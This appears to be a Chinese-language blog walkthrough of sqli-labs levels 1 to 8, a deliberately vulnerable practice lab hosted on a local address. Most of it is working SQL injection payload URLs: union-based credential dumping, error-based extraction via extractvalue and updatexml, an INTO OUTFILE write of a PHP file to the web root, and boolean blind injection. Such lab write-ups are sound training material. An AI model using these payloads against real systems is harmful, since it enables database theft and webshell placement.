0%

sqli-labs_less_1-7

sqli-labs 关卡1-8,第七关不会(…

2020-03-20 14:46:33 Friday

LESS 1

尝试在id后面加上单引号,报错,id后加入双引号,输出默认内容,是单引号型的。


使用order by 查询列数(通过二分法),使用--+来闭合单引号。+号在URL解释中一般为空格。
最后通过二分法可以查得列数为3.


给id填入一个极大的数字(数据库不存在的id值)使用unino select 1,3,3联合查询看当前页面是否右显示位置。可以看出当前页面只有3,3的值。所以联合查询的1,可以不用进行过多操作了。

通过database()查询出当前数据库名字后,根据数据库名字查询出当前数据库的表名为users。
完整字段如下

1
http://192.168.99.122/sqli-labs-master/Less-1/?id=999' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security' --+


查出security数据库的表名一共右emalis,users,refer,agen什么的。不过那些都不重要,渗透测试主要是拿到管理员帐号,其他的个人信息,我们不应该去触碰。因为这是违法的。

利用爆破出来的表名users查询列名

1
http://192.168.99.122/sqli-labs-master/Less-1/?id=999' union select 1,database(),group_concat(column_name) rom information_schema.columns where table_name='users'20--+

最后使用查询到的列名username,password,出用户的帐号和密码。

1
http://192.168.99.122/sqli-labs-master/Less-1/?id=999' union select 1,group_concat(username),group_concat(password) from security.users --+

eric.liao
jrwen.liao

oscar.yuyu
@3109.amp

LESS 2

直接上去给它id后加个单引号,报错。测试双引号,同样报错,可以排除是单引号和双引号型的,直接试试order by,可执行所以是数值型的,同样是通过二分法测得列数为3.

其余步骤和Less 1 差不多,区别在于Less 1 需要手动闭合单引号,Less 2 无需手动闭合。

LESS 3

我先是单独使用了单引号测输出结果,但是报错。转为使用双引号测试有显示输出,但是加上order by 之后显示不正常,同时我这里没有使用–+闭合,也没有输出语法错误的提示,可以确定没有正确闭合。可能是括号引号的字符型

使用单个双引号 加单个括号 ”),结果同样如上,把双引号改成单引号,后输出正常。Less3是单引号括号型的。

其他步骤和LESS 1 一样。

LESS 4

和LESS 3区别仅在于LESS 4是双引号单括号的闭合方式“)

LESS 5

首先判断闭合,单引号报错,双引号显示默认内容,可以确定是单引号型的。

file

extractvalue(arg1,arg2)函数
arg1是字符串,arg2则是xpath语句。注入点就在arg2中。查询语句基本上和LESS1 union查询一致。

获取当前数据库名字

1
http://192.168.99.122/sqli-labs-master/Less-5/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20database()),0x7e))%20--+

file

获取当前表名

1
http://192.168.99.122/sqli-labs-master/Less-5/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),0x7e))%20--+

file

获取列名

1
http://192.168.99.122/sqli-labs-master/Less-5/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27users%27),0x7e))%20--+

file

获取用户名和密码,因为函数的限制,要分两次来进行查询,并且输出长度最高为32。

file

file

LESS 6

和LESS 5 一样,区别在于引号闭合不同。
不过我们可以尝试updatexml()来进行注入

updatexml(arg1,arg2,arg3)
arg1为xml文档对象的名称
arg2为xpath格式的字符串
arg3为string格式,替换查找到的符合条件的数据

获取当前数据库名,余下的步骤基本和less5一致。

1
http://192.168.99.122/sqli-labs-master/Less-6/?id=1%22%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)%20--+

获取表名

1
http://192.168.99.122/sqli-labs-master/Less-6/?id=1%22%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),0x7e),1)%20--+

file

获取列名

1
http://192.168.99.122/sqli-labs-master/Less-6/?id=1%22%20and%20updatexml(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27users%27),0x7e),1)%20--+

file

获取数据
file
file

1
http://192.168.99.122/sqli-labs-master/Less-6/?id=1%22%20and%20updatexml(1,concat(0x7e,(select%20group_concat(username)%20from%20security.users%20),0x7e),1)%20%20--+

updatexml 和 extractvalue 函数限制一样,只有一个显示位。并且输出长度有32位限制。

LESS 7

待更新…
不成功

1
http://192.168.99.122/sqli-labs-master/Less-7/?id=1%27))%20union%20select%201,2,3%20into%20outfile %27E:\\phpStudy\\PHPTutorial\WWW\\sqli-labs-master\\images\\123456.php%27%20--+

这样是成功的。

1
http://192.168.99.122/sqli-labs-master/Less-7/?id=1%27))%20union%20select%201,2,3

LESS 8

先是判断闭合

是单引号闭合,使用order by判断出字段数是3,要是错误的话也只是不输出信息,没有报错。所以接着使用union,和extractvalue报错注入都没用正常输出。

使用布尔注入,一步步分解判断

1
http://192.168.99.122/sqli-labs-master/Less-8/?id=1%27%20%20and%20(select%20count(*)%20from%20information_schema.tables%20where%20table_schema=database())%20%3E5%20--+

判断出当前数据库数据表数量小于5,但是大于3时有正常输出,接着用4判断,无输出。改为等于4。得出数据表数量为4.

接着使用Lenght(table_name) 判断当前表名的长度

1
http://192.168.99.122/sqli-labs-master/Less-8/?id=1%27%20%20and%20(select%20length(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1)%20=6--+

数据表名长度为6
接着就要拆解数据表名了

先判断是否是小写字母开头的单词

1
http://192.168.99.122/sqli-labs-master/Less-8/?id=1%27 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))> 97 --+
1
http://192.168.99.122/sqli-labs-master/Less-8/?id=1%27 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+

当大于101时无回显,第一个字母为e

1
http://192.168.99.122/sqli-labs-master/Less-8/?id=1%27%20and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),2,1))=109--+

测得第二个字母为m
步骤太为繁琐,需要一步步测试下去。

1
http://192.168.99.122/sqli-labs-master/Less-8/?id=1%27%20and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),3,1))=97--+

第三个字母为a,ema 并且长度为6的字符串,应该就是emails了,
limit 2,1 2为第二个字段,1则为限制出输出结果数量。如果是limit 2,2的话就是输出两个字段了。
substr((select ….这里就是我们要查询的语句 limit ),1,1)第二个1为start 即该字符串所在的位置,开头。

先判断表数量,接着判断数据表长度,再判断表名,找到你想要查找信息的表之后。接着判断列数量,和列长度,再判断列名,最后判断数据。步骤一致,较为繁琐。